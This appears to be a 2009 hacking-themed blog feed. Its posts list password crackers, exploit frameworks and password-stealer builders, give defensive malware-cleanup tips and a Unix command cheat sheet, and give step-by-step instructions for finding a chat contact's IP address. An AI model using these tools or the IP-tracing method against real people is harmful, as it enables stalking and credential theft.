Wireshark (known as Ethereal until a trademark dispute in Summer 2006) is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Wireshark has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types. A tcpdump-like console version named tethereal is included. One word of caution is that Ethereal has suffered from dozens of remotely exploitable security holes, so stay up-to-date and be wary of running it on untrusted or hostile networks (such as security conferences).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Aircrack : The fastest available WEP/WPA cracking tool&lt;br /&gt;
Aircrack is a suite of tools for 802.11a/b/g WEP and WPA cracking. It can recover a 40 through 512-bit WEP key once enough encrypted packets have been gathered. It can also attack WPA 1 or 2 networks using advanced cryptographic methods or by brute force. The suite includes airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Metasploit Framework : Hack the Planet&lt;br /&gt;
Metasploit took the security world by storm when it was released in 2004. No other new tool even broke into the top 15 of this list, yet Metasploit comes in at #5, ahead of many well-loved tools that have been developed for more than a decade. It is an advanced open-source platform for developing, testing, and using exploit code. The extensible model through which payloads, encoders, no-op generators, and exploits can be integrated has made it possible to use the Metasploit Framework as an outlet for cutting-edge exploitation research. It ships with hundreds of exploits, as you can see in their online exploit building demo. This makes writing your own exploits easier, and it certainly beats scouring the darkest corners of the Internet for illicit shellcode of dubious quality. Similar professional exploitation tools, such as Core Impact and Canvas already existed for wealthy users on all sides of the ethical spectrum. Metasploit simply brought this capability to the masses.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# NMAP THIS IS PROBABLY THE MOST IMPORTANTOF ALL This is a Port scanner, a very good one, it will do too many things to list i suggest you check it out.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are many tools around.&lt;br /&gt;
&lt;br /&gt;
let me give u some real direct links&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tools&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These tools can be used for good and bad. They are all readily available on the Web. So,&lt;br /&gt;
if you&#39;re one of the good guys : find out how long your passwords will resist a dictionary or brute force attack, see what information your computers would reveil when asked the right way, and check your network before the bad guys do ... network tools Password tools Get some practise&lt;br /&gt;
Online DNS lookup, Whois, a.o.&lt;br /&gt;
 KLOTH Services&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 WWW implementations of common network tools such as whois and nslookup / dig. Although they&#39;re in fact network troubleshooting tools, services / tools like these are often used to gather information about a &#39;target&#39; or &#39;victim&#39; (re. Hacking Exposed : a mini howto). Which goes to show that toold can be used for good and for bad ...&lt;br /&gt;
 E&lt;br /&gt;
nmap&lt;br /&gt;
 www.insecure.org&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 simply the best port scanner, with some added functionality (e.g. remote OS guess)&lt;br /&gt;
 E&lt;br /&gt;
nessus&lt;br /&gt;
 www.nessus.org&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 extremely complete vulnarability checker / security audit : scans a remote system for open ports (using nmap), then attempts to exploit the services listening at those ports and returns a detailed report. Open Source Quality.&lt;br /&gt;
 E&lt;br /&gt;
hping&lt;br /&gt;
 www.hping.org&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 when ping and traceroute return timeouts because you can&#39;t trace &#39;behind&#39; a router or firewall, hping might help.&lt;br /&gt;
 E&lt;br /&gt;
Same Spade&lt;br /&gt;
 www.samspade.org&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 client for multiple protocols and integrated network query tool for Windows 95, 98, NT &amp; Windows 2000&lt;br /&gt;
 E&lt;br /&gt;
Look@Lan&lt;br /&gt;
 www.lookatlan.com&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 freeware network enumeration and monitoring tool&lt;br /&gt;
 E&lt;br /&gt;
NBTEnum, NetBIOS User Enumartion Tool,&lt;br /&gt;
 copy available at packetstorm.linuxsecurity.org&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 nbtenum and other enumeration tools should be available at , but that site is apparently offline&lt;br /&gt;
 E&lt;br /&gt;
Hacking Exposed : the tools&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 the tools discussed in the book &quot;Hacking Exposed&quot;&lt;br /&gt;
 E&lt;br /&gt;
Arne Vidstrom : The Toolbox - Freeware security tools for Windows&lt;br /&gt;
 www.ntsecurity.nu, Arne Vidstrom&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 collection of freeware security tools, written by Arne Vidstrom, including a.o. a key logger, ping sweep, a tool to enumerate user accounts on a Windows system, a Microsoft SQL Server dictionary attack...&lt;br /&gt;
 E&lt;br /&gt;
Wireless Security software&lt;br /&gt;
 Hideaway.Net&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 tools that can locate, audit, and even sniff wireless networks&lt;br /&gt;
 E&lt;br /&gt;
Unix Penetration Rootkits&lt;br /&gt;
 Packet Storm&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 a collection of UNIX / Linux penetration rootkits&lt;br /&gt;
 E&lt;br /&gt;
Windows NT Penetration Tools&lt;br /&gt;
 Packet Storm&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 a collection of Windows NT (2000, XP, etc.) penetration tools&lt;br /&gt;
 E&lt;br /&gt;
Astalavista Tool Box&lt;br /&gt;
 Astalavista Secutity Group&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 An extensive collection of enumeration, sniffing cracking and exploiting tools.&lt;br /&gt;
 E&lt;br /&gt;
Oreilly Network tools&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 Collection of network hack and crack tools, mainly tar archives&lt;br /&gt;
 E&lt;br /&gt;
www.insecure.org&lt;br /&gt;
 www.insecure.org&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 www.insecure.org, of nmap fame, also caries extensive lists and (links to) forums on exploits, penetration testing, (exploitable) bugs, know security holes etc&lt;br /&gt;
 E&lt;br /&gt;
Brutus&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 Password cracker for HTTP (Basic Authentication), HTTP (HTML Form/CGI), POP3, FTP, SMB, Telnet servers. Originally created to check routers for default passwords. Brute Force / Dictionary approach&lt;br /&gt;
 E&lt;br /&gt;
Hydra&lt;br /&gt;
 The Hacker&#39;s Choice&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 THC-Hydra - login hacker for Samba, FTP, POP3, IMAP, Telnet, HTTP Auth, LDAP, NNTP, MySQL, VNC, ICQ, Socks5, PCNFS, Cisco and more. Includes SSL support and is included in Nessus.&lt;br /&gt;
 E&lt;br /&gt;
l0phtcrack&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 Once the best tool for Windows NT cracking, and freely available. Now commercialized by Symantec. You may want to try and get a copy from astalavista :-)&lt;br /&gt;
 E&lt;br /&gt;
John The Ripper&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 The famous John The Ripper password cracker&lt;br /&gt;
 E&lt;br /&gt;
Cain and Able&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 finds passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols&lt;br /&gt;
 E&lt;br /&gt;
TSCrack&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 Password Cracker for Windows Terminal Server. TSCrack is said to use Artificial Intelligence / Artificial Neural Networks to be able to interprete de bitmaps sent by the terminal server and generate an appropriate response.&lt;br /&gt;
 E&lt;br /&gt;
&quot;I forgot the Administrator password&quot;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &#39;Linux on a floppy&#39; boot disk that allows to blank out the administrator password and reset accounts on Windows NT systems&lt;br /&gt;
 E&lt;br /&gt;
SIW - System Information for Windows&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 Not a password cracker per se, but a tool to collect system information on Windows systems. As it happens, this system information includes cached credentials, product keys and other &#39;secrets&#39;</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/5617692658534707487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hack-crack-tools.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/5617692658534707487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/5617692658534707487'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hack-crack-tools.html' title='Hack &amp; Crack tools'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-2030113530862289172</id><published>2009-09-22T22:20:00.000-07:00</published><updated>2009-09-22T22:20:39.442-07:00</updated><title type='text'>How Not To Get Hacked</title><content type='html'>&quot;&quot; Under the security option tab of Mozilla Firefox there is an option Show Passwords make sure its protected by the master password. &quot;&quot;&lt;br /&gt;
&lt;br /&gt;
1. U may avoid using Internet Explorer(old versions) and make the switch to Opera, it&#39;s more secure, plain and simple.&lt;br /&gt;
&lt;br /&gt;
2. Get Spybot Search and Destroy or Spyware Doctor and immediately update it.&lt;br /&gt;
&lt;br /&gt;
3. Get Adaware SE and immediately update it.&lt;br /&gt;
(Use both as a 1-2 punch on infected client computers and between the two there&#39;s not much they won&#39;t kill)&lt;br /&gt;
&lt;br /&gt;
4. Update your anti virus,&lt;br /&gt;
&lt;br /&gt;
5. Boot into safe mode and run all three scans (once in a month)&lt;br /&gt;
&lt;br /&gt;
6. While the scans are going check your registry (Click start --&gt; Run and type regedit to get intot he registry) and look in HKEY_CurrentUser/software/microsoft/windows/currentversion/run &amp; HKEY_Local_Machine/software/microsoft/windows/currentversion/run. Verify that all programs listed are legitimate and wanted.&lt;br /&gt;
&lt;br /&gt;
7. If or when your antivirus scan comes across anything, search for that file name in your registry and delete it, at least quarantine it.&lt;br /&gt;
&lt;br /&gt;
8. Use explorer to go to the windows/system32 folder and sort by date. If you haven&#39;t already done so, make sure you can see the entire file names. click Tools --&gt; Folder Options and unclick the box labeled &quot;Hide extensions for known file types&quot; and under Hidden files and folders click &quot;Show hidden files and folders.&quot; However, make sure you choose &quot;Hide protected operating system files&quot; so you don&#39;t accidentally remove anything that would cripple your computer.. You are looking for recent files with names ending with .exe and .dll that look suspicious. Major culprits will have gibberish names such as alkjdlkjfa.exe.&lt;br /&gt;
&lt;br /&gt;
9. Once you can get clean scans in safe mode, reboot in normal mode and scan all over again. If you can&#39;t get a clean scan in regular mode then you have something more persistant that could take more research.&lt;br /&gt;
&lt;br /&gt;
10. Make sure your firewall doesn&#39;t have strange exceptions.&lt;br /&gt;
&lt;br /&gt;
11. If you suspect anything that is going wrong with your computer is the action of a stalker, on a more secure system change all your major passwords, mostly bu using a virtual keyboard(to prevent keyloggers).&lt;br /&gt;
&lt;br /&gt;
12. If your system has been specifically targeted and hacked you can never be 100% sure that your system is no longer compromised so start with 11, make backups of personal files on the infected system and format and re-install Windows.&lt;br /&gt;
&lt;br /&gt;
Good luck!</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/2030113530862289172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/how-not-to-get-hacked.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/2030113530862289172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/2030113530862289172'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/how-not-to-get-hacked.html' title='How Not To Get Hacked'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-604647442025308576</id><published>2009-09-22T22:13:00.000-07:00</published><updated>2009-09-22T22:13:42.767-07:00</updated><title type='text'>Hackers tools a reference , Just Beware ;</title><content type='html'>The following tools m gonna list now are some of the dangerous tools available on www, which may be used on u by an unethical hacker. I want you to be well aware of all the possibilities.&lt;br /&gt;
&lt;br /&gt;
They are Free to download and it takes seconds to crush up personal computer if wired online, m not disclosing the links to these tools .&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lord PS&lt;br /&gt;
Lord PS is an editor that will create a password stealer/virus that emails you the passwords with tons of options, options may include taking over ur entire pc and disallowing u to access any of the files&lt;br /&gt;
&lt;br /&gt;
Hosein PS v1.6&lt;br /&gt;
Does the same job with above with less options/features, another yahoo pass stealer&lt;br /&gt;
&lt;br /&gt;
F***er PS&lt;br /&gt;
This is a strong multi-password stealer that will grab passwords from all the most commonly used programs/services, msn, yahoo etc&lt;br /&gt;
&lt;br /&gt;
JPS v1.8&lt;br /&gt;
Another password grabber/stealer - e mailer that is more focuced on Yahoo messenger&lt;br /&gt;
&lt;br /&gt;
Demon PS v2.3&lt;br /&gt;
Yahoo messenger password stealer/mailer with anti virus kill options&lt;br /&gt;
and other system features&lt;br /&gt;
&lt;br /&gt;
Tro messenger&lt;br /&gt;
&lt;br /&gt;
The big Boss , used with Yahoo messenger lets u take over victims Pc</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/604647442025308576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hackers-tools-reference-just-beware.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/604647442025308576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/604647442025308576'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hackers-tools-reference-just-beware.html' title='Hackers tools a reference , Just Beware ;'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-4615462295940455793</id><published>2009-09-22T21:14:00.000-07:00</published><updated>2009-09-22T21:14:29.405-07:00</updated><title type='text'>hacking I.P Via Msn,Yahoo,AIM</title><content type='html'>Get IP via MSN logging:&lt;br /&gt;
&lt;br /&gt;
You will need to go into tools &gt; options &gt; Connections &gt; Advanced settings and click the Connection Logging checkbox..&lt;br /&gt;
&lt;br /&gt;
hacking I.P Via Msn,Yahoo,AIM - The Ethical Hacking&lt;br /&gt;
&lt;br /&gt;
Open up a Conversation with the target..&lt;br /&gt;
Send them like a blank notepad or any file..&lt;br /&gt;
Wait for them to cancel it or accept it, either works..&lt;br /&gt;
After your done that go back turn off your logs or else they will constantly update while your on msn..&lt;br /&gt;
&lt;br /&gt;
then goto My documents &gt; received files &gt; MsnMsgr (text file)&lt;br /&gt;
Search (ctrl+f) “Connecttoip” and you will your selected items..&lt;br /&gt;
click the find next button until you find the IP address..&lt;br /&gt;
&lt;br /&gt;
hacking I.P Via Msn,Yahoo,AIM - The Ethical Hacking&lt;br /&gt;
&lt;br /&gt;
wallah! you have the IP address to whomever you attempted to send the file to. whether they cancel or accept the file dosent matter because it still logs the ip but they must do one of the two..&lt;br /&gt;
&lt;br /&gt;
Get IP via Command Prompt:&lt;br /&gt;
&lt;br /&gt;
1. goto start &gt; run type cmd and open.. or goto start &gt; programs &gt; accessories &gt; command prompt and click.&lt;br /&gt;
&lt;br /&gt;
2. type netstat hit enter&lt;br /&gt;
&lt;br /&gt;
3. connect to he person (direct connect) with the chat program of your choice. MSN, yahoo, AIM, etc.. This can be done simply by opening a conversation with the target or sending them any file.&lt;br /&gt;
&lt;br /&gt;
4. type netstat again in the command prompt.&lt;br /&gt;
&lt;br /&gt;
collective data should appear in the cmd box..ie: (infomation censored)&lt;br /&gt;
&lt;br /&gt;
hacking I.P Via Msn,Yahoo,AIM - The Ethical Hacking</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/4615462295940455793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hacking-ip-via-msnyahooaim.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/4615462295940455793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/4615462295940455793'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hacking-ip-via-msnyahooaim.html' title='hacking I.P Via Msn,Yahoo,AIM'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-5827480859365559203</id><published>2009-09-22T19:46:00.000-07:00</published><updated>2009-09-22T19:54:09.710-07:00</updated><title type='text'>Be a Unix Expert in 2 Days !</title><content type='html'>Running kernel and system information&lt;br /&gt;&lt;br /&gt;# uname -a                           # Get the kernel version (and BSD version)&lt;br /&gt;# lsb_release -a                     # Full release info of any LSB distribution&lt;br /&gt;# cat /etc/SuSE-release              # Get SuSE version&lt;br /&gt;# cat /etc/debian_version            # Get Debian version&lt;br /&gt;&lt;br /&gt;Use /etc/DISTR-release with DISTR= lsb (Ubuntu), redhat, gentoo, mandrake, sun (Solaris), and so on. See also /etc/issue.&lt;br /&gt;&lt;br /&gt;# uptime                             # Show how long the system has been running + load&lt;br /&gt;# hostname                           # system&#39;s host name&lt;br /&gt;# hostname -i                        # Display the IP address of the host. (Linux only)&lt;br /&gt;# man hier                           # Description of the file system hierarchy&lt;br /&gt;# last reboot                        # Show system reboot history&lt;br /&gt;&lt;br /&gt;Hardware Informations&lt;br /&gt;Kernel detected hardware&lt;br /&gt;&lt;br /&gt;# dmesg                              # Detected hardware and boot messages&lt;br /&gt;# lsdev                              # information about installed hardware&lt;br /&gt;# dd if=/dev/mem bs=1k skip=768 count=256 2&gt;/dev/null | strings -n 8 # Read BIOS&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# cat /proc/cpuinfo                  # CPU model&lt;br /&gt;# cat /proc/meminfo                  # Hardware memory&lt;br /&gt;# grep MemTotal /proc/meminfo        # Display the physical memory&lt;br /&gt;# watch -n1 &#39;cat /proc/interrupts&#39;   # Watch changeable interrupts continuously&lt;br /&gt;# free -m                            # Used and free memory (-m for MB)&lt;br /&gt;# cat /proc/devices                  # Configured devices&lt;br /&gt;# lspci -tv                          # Show PCI devices&lt;br /&gt;# lsusb -tv                          # Show USB devices&lt;br /&gt;# lshal                              # Show a list of all devices with their properties&lt;br /&gt;# dmidecode                          # Show DMI/SMBIOS: hw info from the BIOS&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# sysctl hw.model                    # CPU model&lt;br /&gt;# sysctl hw                          # Gives a lot of hardware information&lt;br /&gt;# sysctl vm                          # Memory usage&lt;br /&gt;# dmesg | grep &quot;real mem&quot;            # Hardware memory&lt;br /&gt;# sysctl -a | grep mem               # Kernel memory settings and info&lt;br /&gt;# sysctl dev                         # Configured devices&lt;br /&gt;# pciconf -l -cv                     # Show PCI devices&lt;br /&gt;# usbdevs -v                         # Show USB devices&lt;br /&gt;# atacontrol list                    # Show ATA devices&lt;br /&gt;# camcontrol devlist -v              # Show SCSI devices&lt;br /&gt;&lt;br /&gt;Load, statistics and messages&lt;br /&gt;The following commands are useful to find out what is going on on the system.&lt;br /&gt;&lt;br /&gt;# top                                # display and update the top cpu processes&lt;br /&gt;# mpstat 1                           # display processors related statistics&lt;br /&gt;# vmstat 2                           # display virtual memory statistics&lt;br /&gt;# iostat 2                           # display I/O statistics (2 s intervals)&lt;br /&gt;# systat -vmstat 1                   # BSD summary of system statistics (1 s intervals)&lt;br /&gt;# systat -tcp 1                      # BSD tcp connections (try also -ip)&lt;br /&gt;# systat -netstat 1                  # BSD active network connections&lt;br /&gt;# systat -ifstat 1                   # BSD network traffic through active interfaces&lt;br /&gt;# systat -iostat 1                   # BSD CPU and and disk throughput&lt;br /&gt;# tail -n 500 /var/log/messages      # Last 500 kernel/syslog messages&lt;br /&gt;# tail /var/log/warn                 # System warnings messages see syslog.conf&lt;br /&gt;&lt;br /&gt;Users&lt;br /&gt;&lt;br /&gt;# id                                 # Show the active user id with login and group&lt;br /&gt;# last                               # Show last logins on the system&lt;br /&gt;# who                                # Show who is logged on the system&lt;br /&gt;# groupadd admin                     # Add group &quot;admin&quot; and user colin (Linux/Solaris)&lt;br /&gt;# useradd -c &quot;Colin Barschel&quot; -g admin -m colin&lt;br /&gt;# usermod -a -G &lt;group&gt; &lt;user&gt;       # Add existing user to group (Debian)&lt;br /&gt;# groupmod -A &lt;user&gt; &lt;group&gt;         # Add existing user to group (SuSE)&lt;br /&gt;# userdel colin                      # Delete user colin (Linux/Solaris)&lt;br /&gt;# adduser joe                        # FreeBSD add user joe (interactive)&lt;br /&gt;# rmuser joe                         # FreeBSD delete user joe (interactive)&lt;br /&gt;# pw groupadd admin                  # Use pw on FreeBSD&lt;br /&gt;# pw groupmod admin -m newmember     # Add a new member to a group&lt;br /&gt;# pw useradd colin -c &quot;Colin Barschel&quot; -g admin -m -s /bin/tcsh &lt;br /&gt;# pw userdel colin; pw groupdel admin&lt;br /&gt;&lt;br /&gt;Encrypted passwords are stored in /etc/shadow for Linux and Solaris and /etc/master.passwd on FreeBSD. If the master.passwd is modified manually (say to delete a password), run # pwd_mkdb -p master.passwd to rebuild the database.&lt;br /&gt;&lt;br /&gt;To temporarily prevent logins system wide (for all users but root) use nologin. The message in nologin will be displayed (might not work with ssh pre-shared keys).&lt;br /&gt;&lt;br /&gt;# echo &quot;Sorry no login now&quot; &gt; /etc/nologin       # (Linux)&lt;br /&gt;# echo &quot;Sorry no login now&quot; &gt; /var/run/nologin   # (FreeBSD)&lt;br /&gt;&lt;br /&gt;Limits&lt;br /&gt;Some application require higher limits on open files and sockets (like a proxy web server, database). The default limits are usually too low.&lt;br /&gt;Linux&lt;br /&gt;Per shell/script&lt;br /&gt;The shell limits are governed by ulimit. The status is checked with ulimit -a. For example to change the open files limit from 1024 to 10240 do:&lt;br /&gt;&lt;br /&gt;# ulimit -n 10240                    # This is only valid within the shell&lt;br /&gt;&lt;br /&gt;The ulimit command can be used in a script to change the limits for the script only.&lt;br /&gt;Per user/process&lt;br /&gt;Login users and applications can be configured in /etc/security/limits.conf. For example:&lt;br /&gt;&lt;br /&gt;# cat /etc/security/limits.conf&lt;br /&gt;*   hard    nproc   250              # Limit user processes&lt;br /&gt;asterisk hard nofile 409600          # Limit application open files&lt;br /&gt;&lt;br /&gt;System wide&lt;br /&gt;Kernel limits are set with sysctl. Permanent limits are set in /etc/sysctl.conf.&lt;br /&gt;&lt;br /&gt;# sysctl -a                          # View all system limits&lt;br /&gt;# sysctl fs.file-max                 # View max open files limit&lt;br /&gt;# sysctl fs.file-max=102400          # Change max open files limit&lt;br /&gt;# echo &quot;1024 50000&quot; &gt; /proc/sys/net/ipv4/ip_local_port_range  # port range&lt;br /&gt;# cat /etc/sysctl.conf&lt;br /&gt;fs.file-max=102400                   # Permanent entry in sysctl.conf&lt;br /&gt;# cat /proc/sys/fs/file-nr           # How many file descriptors are in use&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;Per shell/script&lt;br /&gt;Use the command limits in csh or tcsh or as in Linux, use ulimit in an sh or bash shell.&lt;br /&gt;Per user/process&lt;br /&gt;The default limits on login are set in /etc/login.conf. An unlimited value is still limited by the system maximal value.&lt;br /&gt;System wide&lt;br /&gt;Kernel limits are also set with sysctl. Permanent limits are set in /etc/sysctl.conf or /boot/loader.conf. The syntax is the same as Linux but the keys are different.&lt;br /&gt;&lt;br /&gt;# sysctl -a                          # View all system limits&lt;br /&gt;# sysctl kern.maxfiles=XXXX          # maximum number of file descriptors&lt;br /&gt;kern.ipc.nmbclusters=32768           # Permanent entry in /etc/sysctl.conf&lt;br /&gt;kern.maxfiles=65536                  # Typical values for Squid&lt;br /&gt;kern.maxfilesperproc=32768&lt;br /&gt;kern.ipc.somaxconn=8192              # TCP queue. Better for apache/sendmail&lt;br /&gt;# sysctl kern.openfiles              # How many file descriptors are in use&lt;br /&gt;# sysctl kern.ipc.numopensockets     # How many open sockets are in use&lt;br /&gt;# sysctl -w net.inet.ip.portrange.last=50000 # Default is 1024-5000&lt;br /&gt;# netstat -m                         # network memory buffers statistics&lt;br /&gt;&lt;br /&gt;See The FreeBSD handbook Chapter 11http://www.freebsd.org/handbook/configtuning-kernel-limits.html for details.&lt;br /&gt;Solaris&lt;br /&gt;The following values in /etc/system will increase the maximum file descriptors per proc:&lt;br /&gt;&lt;br /&gt;set rlim_fd_max = 4096               # Hard limit on file descriptors for a single proc&lt;br /&gt;set rlim_fd_cur = 1024               # Soft limit on file descriptors for a single proc&lt;br /&gt;&lt;br /&gt;Runlevels&lt;br /&gt;Linux&lt;br /&gt;Once booted, the kernel starts init which then starts rc which starts all scripts belonging to a runlevel. The scripts are stored in /etc/init.d and are linked into /etc/rc.d/rcN.d with N the runlevel number.&lt;br /&gt;The default runlevel is configured in /etc/inittab. It is usually 3 or 5:&lt;br /&gt;&lt;br /&gt;# grep default: /etc/inittab                                         &lt;br /&gt;id:3:initdefault:&lt;br /&gt;&lt;br /&gt;The actual runlevel can be changed with init. For example to go from 3 to 5:&lt;br /&gt;&lt;br /&gt;# init 5                             # Enters runlevel 5&lt;br /&gt;&lt;br /&gt;    * 0       Shutdown and halt&lt;br /&gt;    * 1       Single-User mode (also S)&lt;br /&gt;    * 2       Multi-user without network&lt;br /&gt;    * 3       Multi-user with network&lt;br /&gt;    * 5       Multi-user with X&lt;br /&gt;    * 6       Reboot&lt;br /&gt;&lt;br /&gt;Use chkconfig to configure the programs that will be started at boot in a runlevel.&lt;br /&gt;&lt;br /&gt;# chkconfig --list                   # List all init scripts&lt;br /&gt;# chkconfig --list sshd              # Report the status of sshd&lt;br /&gt;# chkconfig sshd --level 35 on       # Configure sshd for levels 3 and 5&lt;br /&gt;# chkconfig sshd off                 # Disable sshd for all runlevels&lt;br /&gt;&lt;br /&gt;Debian and Debian based distributions like Ubuntu or Knoppix use the command update-rc.d to manage the runlevels scripts. Default is to start in 2,3,4 and 5 and shutdown in 0,1 and 6.&lt;br /&gt;&lt;br /&gt;# update-rc.d sshd defaults          # Activate sshd with the default runlevels&lt;br /&gt;# update-rc.d sshd start 20 2 3 4 5 . stop 20 0 1 6 .  # With explicit arguments&lt;br /&gt;# update-rc.d -f sshd remove         # Disable sshd for all runlevels&lt;br /&gt;# shutdown -h now (or # poweroff)    # Shutdown and halt the system&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;The BSD boot approach is different from the SysV, there are no runlevels. The final boot state (single user, with or without X) is configured in /etc/ttys. All OS scripts are located in /etc/rc.d/ and in /usr/local/etc/rc.d/ for third-party applications. The activation of the service is configured in /etc/rc.conf and /etc/rc.conf.local. The default behavior is configured in /etc/defaults/rc.conf. The scripts responds at least to start|stop|status.&lt;br /&gt;&lt;br /&gt;# /etc/rc.d/sshd status&lt;br /&gt;sshd is running as pid 552.&lt;br /&gt;# shutdown now                       # Go into single-user mode&lt;br /&gt;# exit                               # Go back to multi-user mode&lt;br /&gt;# shutdown -p now                    # Shutdown and halt the system&lt;br /&gt;# shutdown -r now                    # Reboot&lt;br /&gt;&lt;br /&gt;The process init can also be used to reach one of the following states level. For example # init 6 for reboot.&lt;br /&gt;&lt;br /&gt;    * 0       Halt and turn the power off (signal USR2)&lt;br /&gt;    * 1       Go to single-user mode (signal TERM)&lt;br /&gt;    * 6       Reboot the machine (signal INT)&lt;br /&gt;    * c       Block further logins (signal TSTP)&lt;br /&gt;    * q       Rescan the ttys(5) file (signal HUP)&lt;br /&gt;&lt;br /&gt;Reset root password&lt;br /&gt;Linux method 1&lt;br /&gt;At the boot loader (lilo or grub), enter the following boot option:&lt;br /&gt;&lt;br /&gt;init=/bin/sh&lt;br /&gt;&lt;br /&gt;The kernel will mount the root partition and init will start the bourne shell instead of rc and then a runlevel. Use the command passwd at the prompt to change the password and then reboot. Forget the single user mode as you need the password for that.&lt;br /&gt;If, after booting, the root partition is mounted read only, remount it rw:&lt;br /&gt;&lt;br /&gt;# mount -o remount,rw /&lt;br /&gt;# passwd                             # or delete the root password (/etc/shadow)&lt;br /&gt;# sync; mount -o remount,ro /        # sync before to 